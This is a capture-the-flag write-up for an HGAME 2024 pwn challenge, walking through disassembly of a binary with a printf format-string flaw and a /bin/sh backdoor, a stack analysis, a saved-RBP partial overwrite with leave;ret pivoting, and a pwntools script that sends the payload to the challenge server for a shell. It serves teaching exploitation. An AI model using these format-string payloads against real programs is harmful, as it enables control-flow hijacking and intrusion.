A single fmtstr away from shell
0. Background
If you are a security analyst, you’ll be delighted to see this kind of construction in code you’re auditing:
char *fmt = build_format();
printf(fmt, arg1, arg2);
free_format(fmt);
If fmt
in the above code may be controlled by malicious user to produce a mismatch with variable parameters provided to printf()
(in this case, for example, an format expecting 3 or more parameters), this would be a major security loophole that may corrupt the stack. If no other security measures are taken, a control flow hijacking is possible.
1. The challenge
A binary executable is served on a remote server for exploitation. The executable itself is handed out to competitors. Here, we list out the disassembly of important functions and preliminary results provided by automated tools.
mantlebao@LAPTOP-RONG-BAO:[...]$ checksec --file ./vuln
[*] '[...]/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
mantlebao@LAPTOP-RONG-BAO:[...]$
.text:0000000000401110 ; =============== S U B R O U T I N E =======================================
.text:0000000000401110
.text:0000000000401110 ; Attributes: noreturn fuzzy-sp
.text:0000000000401110
.text:0000000000401110 ; void __fastcall __noreturn start(__int64, __int64, void (*)(void))
.text:0000000000401110 public _start
.text:0000000000401110 _start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401110 ; __unwind {
.text:0000000000401110 endbr64
.text:0000000000401114 xor ebp, ebp
.text:0000000000401116 mov r9, rdx ; rtld_fini
.text:0000000000401119 pop rsi ; argc
.text:000000000040111A mov rdx, rsp ; ubp_av
.text:000000000040111D and rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401121 push rax
.text:0000000000401122 push rsp ; stack_end
.text:0000000000401123 xor r8d, r8d ; fini
.text:0000000000401126 xor ecx, ecx ; init
.text:0000000000401128 mov rdi, offset main ; main
.text:000000000040112F call cs:__libc_start_main_ptr
.text:0000000000401135 hlt
.text:0000000000401135 ; } // starts at 401110
.text:0000000000401135 _start endp
.text:0000000000401135
.text:0000000000401135 ; ---------------------------------------------------------------------------
...
.text:000000000040123D ; =============== S U B R O U T I N E =======================================
.text:000000000040123D
.text:000000000040123D ; Attributes: bp-based frame
.text:000000000040123D
.text:000000000040123D ; void __fastcall sys()
.text:000000000040123D public sys
.text:000000000040123D sys proc near ; DATA XREF: .fini_array:__do_global_dtors_aux_fini_array_entry↓o
.text:000000000040123D ; __unwind {
.text:000000000040123D endbr64
.text:0000000000401241 push rbp
.text:0000000000401242 mov rbp, rsp
.text:0000000000401245 lea rdi, command ; "/bin/sh"
.text:000000000040124C call _system
.text:0000000000401251 nop
.text:0000000000401252 pop rbp
.text:0000000000401253 retn
.text:0000000000401253 ; } // starts at 40123D
.text:0000000000401253 sys endp
...
.text:0000000000401254 ; =============== S U B R O U T I N E =======================================
.text:0000000000401254
.text:0000000000401254 ; Attributes: bp-based frame
.text:0000000000401254
.text:0000000000401254 ; void __fastcall vuln()
.text:0000000000401254 public vuln
.text:0000000000401254 vuln proc near ; CODE XREF: main+37↓p
.text:0000000000401254
.text:0000000000401254 buf = byte ptr -80h
.text:0000000000401254 s = byte ptr -60h
.text:0000000000401254 var_8 = qword ptr -8
.text:0000000000401254
.text:0000000000401254 ; __unwind {
.text:0000000000401254 endbr64
.text:0000000000401258 push rbp
.text:0000000000401259 mov rbp, rsp
.text:000000000040125C add rsp, 0FFFFFFFFFFFFFF80h
.text:0000000000401260 mov rax, fs:28h
.text:0000000000401269 mov [rbp+var_8], rax
.text:000000000040126D xor eax, eax
.text:000000000040126F mov rax, 72747320656B616Dh
.text:0000000000401279 mov rdx, 646E612073676E69h
.text:0000000000401283 mov qword ptr [rbp+buf], rax
.text:0000000000401287 mov qword ptr [rbp+buf+8], rdx
.text:000000000040128B mov rax, 6C65687374656720h
.text:0000000000401295 mov qword ptr [rbp+buf+10h], rax
.text:0000000000401299 mov word ptr [rbp+buf+18h], 0A6Ch
.text:000000000040129F mov [rbp+buf+1Ah], 0
.text:00000000004012A3 lea rax, [rbp+buf]
.text:00000000004012A7 mov edx, 1Bh ; n
.text:00000000004012AC mov rsi, rax ; buf
.text:00000000004012AF mov edi, 0 ; fd
.text:00000000004012B4 mov eax, 0
.text:00000000004012B9 call _write
.text:00000000004012BE lea rax, [rbp+s]
.text:00000000004012C2 mov edx, 50h ; 'P' ; nbytes
.text:00000000004012C7 mov rsi, rax ; buf
.text:00000000004012CA mov edi, 0 ; fd
.text:00000000004012CF mov eax, 0
.text:00000000004012D4 call _read
.text:00000000004012D9 lea rax, [rbp+s]
.text:00000000004012DD mov esi, 70h ; 'p' ; c
.text:00000000004012E2 mov rdi, rax ; s
.text:00000000004012E5 call _strchr
.text:00000000004012EA test rax, rax
.text:00000000004012ED jnz short loc_401316
.text:00000000004012EF lea rax, [rbp+s]
.text:00000000004012F3 mov esi, 73h ; 's' ; c
.text:00000000004012F8 mov rdi, rax ; s
.text:00000000004012FB call _strchr
.text:0000000000401300 test rax, rax
.text:0000000000401303 jnz short loc_401316
.text:0000000000401305 lea rax, [rbp+s]
.text:0000000000401309 mov rdi, rax ; format
.text:000000000040130C mov eax, 0
.text:0000000000401311 call _printf
.text:0000000000401316
.text:0000000000401316 loc_401316: ; CODE XREF: vuln+99↑j
.text:0000000000401316 ; vuln+AF↑j
.text:0000000000401316 nop
.text:0000000000401317 mov rax, [rbp+var_8]
.text:000000000040131B xor rax, fs:28h
.text:0000000000401324 jz short locret_40132B
.text:0000000000401326 call ___stack_chk_fail
.text:000000000040132B ; ---------------------------------------------------------------------------
.text:000000000040132B
.text:000000000040132B locret_40132B: ; CODE XREF: vuln+D0↑j
.text:000000000040132B leave
.text:000000000040132C retn
.text:000000000040132C ; } // starts at 401254
.text:000000000040132C vuln endp
...
.text:000000000040132D ; =============== S U B R O U T I N E =======================================
.text:000000000040132D
.text:000000000040132D ; Attributes: bp-based frame
.text:000000000040132D
.text:000000000040132D ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:000000000040132D public main
.text:000000000040132D main proc near ; DATA XREF: _start+18↑o
.text:000000000040132D
.text:000000000040132D format = qword ptr -8
.text:000000000040132D
.text:000000000040132D ; __unwind {
.text:000000000040132D endbr64
.text:0000000000401331 push rbp
.text:0000000000401332 mov rbp, rsp
.text:0000000000401335 sub rsp, 10h
.text:0000000000401339 mov eax, 0
.text:000000000040133E call init
.text:0000000000401343 lea rax, aTheShitIsEzfmt ; "the shit is ezfmt, M3?\n"
.text:000000000040134A mov [rbp+format], rax
.text:000000000040134E mov rax, [rbp+format]
.text:0000000000401352 mov rdi, rax ; format
.text:0000000000401355 mov eax, 0
.text:000000000040135A call _printf
.text:000000000040135F mov eax, 0
.text:0000000000401364 call vuln
.text:0000000000401369 mov eax, 0
.text:000000000040136E leave
.text:000000000040136F retn
.text:000000000040136F ; } // starts at 40132D
.text:000000000040136F main endp
void __fastcall sys()
{
system("/bin/sh");
}
void __fastcall vuln()
{
char buf[32]; // [rsp+0h] [rbp-80h] BYREF
char s[88]; // [rsp+20h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]
v2 = __readfsqword(0x28u);
strcpy(buf, "make strings and getshell\n");
write(0, buf, 27uLL);
read(0, s, 80uLL);
if ( !strchr(s, 'p') && !strchr(s, 's') )
printf(s);
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
printf("the shit is ezfmt, M3?\n");
vuln();
return 0;
}
2. Analysis
We can see a backdoor function in the given binary, thus hijacking the control flow to it will give us a nice shell. Also, PIE is not enabled, which means the backdoor is always at address 0x40123D
.
In function vuln
, there is obviously a fmtstr vulnerability waiting for us. No other vulnerabilities can be spotted so far.
As Pwn-noobs, we may exploit a fmtstr vulnerability with known backdoor address in these ways:
- Overwriting return address with backdoor address. To do this, we need to first leak some address on stack with a first
printf
call, use it to calculate the location of return address, then overwrite it with a secondprintf
call. However, we don’t have a second chance toprintf
. - Hijacking GOT. We have only partial RELRO, so overwriting some imported function with backdoor address will hijack subsequent calls to the backdoor. However, here we have no other function calls after
printf
. - Overwriting
_fini
finalizer with our backdoor. Then, when the program exits, it will run our backdoor function instead. However, the_start
sequence doesn’t use_fini
by passing aNULL
to__libc_start_main
, leaving us with no chance to overwrite it.
You can see that none of these will work in this challenge.
Let’s take a look at the stack layout just before call _printf
. This stack snapshot is taken from one run where b"aaaabaaacaaadaa\n"
is provided as user input.
00007FFCEA790B08 0000000000401300 vuln+AC
00007FFCEA790B10 72747320656B616D <- RSP
00007FFCEA790B18 646E612073676E69
00007FFCEA790B20 6C65687374656720
00007FFCEA790B28 00007F2604000A6C
00007FFCEA790B30 6161616261616161 ; b"aaaabaaa"
00007FFCEA790B38 0A61616461616163 ; b"caaadaa\n"
00007FFCEA790B40 00007F2604D8F600 libc.so.6:_IO_file_jumps
00007FFCEA790B48 00007F2604C025AD libc.so.6:_IO_file_setbuf+
00007FFCEA790B50 00007F2604D93780 libc.so.6:_IO_2_1_stdout_
00007FFCEA790B58 00007F2604BF957F libc.so.6:_IO_setbuffer+BF
00007FFCEA790B60 00000000000006F0
00007FFCEA790B68 0000000000000000
00007FFCEA790B70 00007FFCEA790B90 [stack]
00007FFCEA790B78 00007FFCEA790CC8 [stack]
00007FFCEA790B80 0000000000000000
00007FFCEA790B88 4735D79EE50A4500
00007FFCEA790B90 00007FFCEA790BB0 [stack] <- RBP
00007FFCEA790B98 0000000000401369 main+3C
00007FFCEA790BA0 0000000000001000
00007FFCEA790BA8 000000000040200C .rodata:aTheShitIsEzfmt
You can see that the canary is at 0x00007FFCEA790B88
, but that is not relevant. Although most of the data between 0x00007FFCEA790B40
and RBP are all junk, they may contain shining diamond. At 0x00007FFCEA790B70
, the content is a uint64_t
valued 0x00007FFCEA790B90
, the same as RBP! Can we change the control flow of the program by altering the value RBP points to?
After returning from _printf
, the program continues to this sequence of instruction:
nop
mov rax, [rbp+var_8]
xor rax, fs:28h
jz short L_RET
call ___stack_chk_fail
L_RET:
leave
retn
mov eax, 0
leave
retn
The first mov; xor; jz; call
sequence checks the canary and aborts the program if any discrepancy is found. The important part is the sequence leave; ret; leave; ret
.
As per Intel’s manual and Felix Cloutier’s website, a leave
instruction on x64 platform is exactly what describes below:
RSP <- RBP
RBP <- Pop()
It is equivalent to first setting RSP to RBP + 8
, and then setting RBP to [RBP]
.
Utilizing this knowledge, if we set [RBP]
to some address addr
, then after running leave; ret; leave;
, RSP will be addr + 8
, and RBP will be [addr]
. A final ret;
will take the control flow to [addr + 8]
, and if we can control that address, we will be able to hijack the program.
We can read up to 80 bytes into the stack, so managing to craft a backdoor address 0x40123D
on stack is not difficult. The problem is, how to get a valid addr
whose next uint64_t
is exactly our crafted address. In the stack snapshot above, our input string is placed starting from 0x00007FFCEA790B30
. Luckily, before we start to ruin the world, [RBP]
already contains a value 0x00007FFCEA790BB0
, and it only differs from our controllable byte array address by 1 byte, namely 0x30
vs 0xB0
. In the easy way, we can just resort to chance to do the job, by fixing this former address and run exploit multiple times until we get shell and solve the challenge.
3. Solution
#!/usr/bin/env python3
# sol.py
from pwn import *
vuln = ELF("./ezfmt/attachment/attachment/vuln")
context.binary = vuln
with remote("remote.server.local", 31709) as r:
payload_1 = b"%128c%18$hhn".ljust(48, b"\x00") + p64(0) + p64(0x401245)
info(hexdump(payload_1))
r.sendafter(b"make strings and getshell\n", payload_1)
r.interactive()
This script writes 0x80
(128) to the least significant byte of [RBP]
. In fact, here 0x80
can be any one-byte multiple of 16 as you like it. Afterwards, pads off 48 bytes, crafting a new final RBP value (0
here; it can be any address as we do not care about the environment after getting shell anyway) and return address (0x401245
). Run sol.py
multiple times until getting shell.
Why we don’t choose to return to 0x40123D
? Because the initial stack allocation sequence push rbp; mov rbp, rsp;
would force us to care so much about crafting valid RSP and RBP values. By returning directly to 0x401245
(lea rdi, command
), we can ensure a smooth shell acquisition.
4. Conclusion
The author encountered this challenge for the first time in Week 1 of HGAME 2024, presented by Vidar-Team. Many previous works (such as https://chuanpuyun.com/article/5860.html and https://arttnba3.cn/2020/09/08/CTF-0X00-BUUOJ-PWN/#0x071-xman-2019-format-fmtstr) describe fmtstr vulnerabilities that requires at least 2 calls to printf
. The result described here may serve as a good starting point for Pwn-beginners to think about exploiting vulnerabilities in restricted and stringent environments.